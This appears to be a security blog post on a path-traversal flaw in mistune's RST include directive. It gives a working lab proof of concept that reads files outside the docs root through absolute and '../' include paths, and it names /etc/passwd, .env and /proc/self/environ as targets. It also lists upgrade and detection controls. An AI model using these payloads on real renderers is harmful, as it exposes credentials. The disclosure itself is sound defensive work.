Mistune’s RST Include Just Read Your .env (CVE-2026-115353)
markdown asked to include a file. it did not ask which file. Mistune before 3.3.0 ships an RST .. include:: directive that takes the path verbatim, joins it to the source directory, runs normpath, and opens whatever survives. absolute paths discard the base. relative ../ walks out. your docs renderer becomes a file exfil API. CVE-2026-115353 (also tracked as CVE-2026-59924). GHSA-9jjx-3hq3-hx4j. fixed in 3.3.0. we ran 3.2.1 in lab. it cheerfully handed us a marker file and a fake .env.
/tmp. do not point a vulnerable renderer at untrusted markdown on a host that also holds production secrets. that is how “documentation platform” becomes “credential distribution platform.”what landed
- CVE-2026-115353 / GHSA-9jjx-3hq3-hx4j (also CVE-2026-59924 in some trackers): path traversal in the RST include directive.
- Affected: mistune
< 3.3.0(advisory notes<= 3.2.1). - Patched: 3.3.0 (realpath + commonpath containment; reject absolute and escaping paths).
- CVSS: NVD ~9.2; advisory around 8.6 depending on scoring profile.
- CWE: CWE-22, CWE-73.
- Cousins in the same release: several ReDoS/complexity issues (CVE-2026-115347..115352) and related include variants (115354, 115355). patch once, clear the pile.
who actually has this on
the include plugin is opt-in: RSTDirective([Include()]). it is also a documented, normal setup for anyone rendering markdown trees from disk (Sphinx-flavored docs, MkDocs integrations, previewers, internal wikis that wanted “just like RST”). if state.env['__file__'] is set so relative includes resolve, the vulnerable join runs. if your app renders untrusted user markdown with that plugin enabled, congratulations on the file read primitive.

step 1: set the scene
pip install 'mistune==3.2.1'
mkdir -p /tmp/mistune-lab
echo 'SLOTH_MARKER: mistune include escaped the cage' > /tmp/sloth-secret-marker.txt
printf 'DB_PASSWORD=lab-only-not-real\nAPI_KEY=css-demo-key\n' > /tmp/lab-app.env
source file for the renderer: /tmp/mistune-lab/index.md. anything outside that directory should be unreachable. spoilers.

step 2: absolute path bypass
import mistune
from mistune.directives import RSTDirective, Include
md = mistune.create_markdown(plugins=[RSTDirective([Include()])])
state = md.block.state_cls()
state.env['__file__'] = '/tmp/mistune-lab/index.md'
html, _ = md.parse('.. include:: /tmp/sloth-secret-marker.txt\n', state=state)
print(html)
output wraps the file contents in <pre class="directive-include">. Python documents that os.path.join discards prior segments when the next is absolute. the plugin called normpath after, which does not invent a jail. the only guards were “do not include yourself” and “must be a file.” both pass for /etc/passwd, .env, and friends.

step 3: relative traversal and the .env special
html, _ = md.parse('.. include:: ../lab-app.env\n', state=state)
same result. any extension that is not markdown or HTML lands in a <pre>. markdown includes get parsed. HTML includes become block_html, which with escape=False is stored XSS on top of the file read. the advisory flags that combo explicitly.
why defenders care
- huge install base: mistune shows up in docs pipelines, content platforms, and “we needed a fast markdown parser” microservices.
- untrusted markdown is common: comments, wikis, PR previews, support tickets with markdown. if Include is on, path is the payload.
- secrets sit next to docs:
.env, config, SSH keys, cloud creds, log files with tokens. the renderer user can often read them. /proc/self/environ: yes, on linux, if the process can open it, include can too. enjoy your API keys in the HTML response.
controls that are not theater
- upgrade to mistune
>= 3.3.0everywhere (lockfiles, containers, serverless layers, that one Lambda nobody owns). - if you do not need RST includes, do not enable the plugin. default-off features should stay off.
- never render untrusted markdown with
escape=False. - run renderers as a low-privilege user with a tight filesystem view (container with only the docs tree mounted).
- detect: alert on markdown containing
.. include::with..or absolute paths; alert on renderer processes opening files outside the docs root. - rotate anything that lived next to a vulnerable renderer that accepted user markdown. assume read.
/etc/passwd into the article, because the point is the control failure, not a password file cosplay contest. the advisory’s own PoC uses /etc/passwd. both paths work on 3.2.1.sloth take
include directives are little trust boundaries wearing documentation hats. mistune’s forgot the boundary. patch to 3.3.0, turn the plugin off if you do not need it, and stop rendering stranger markdown with a process that can read your secrets. the file said “include me.” the parser said “ok.” that should have been a longer conversation.
sources
- GitHub Advisory GHSA-9jjx-3hq3-hx4j
- CVE-2026-115353
- mistune 3.3.0 release / changelog (containment fix in
directives/include.py)
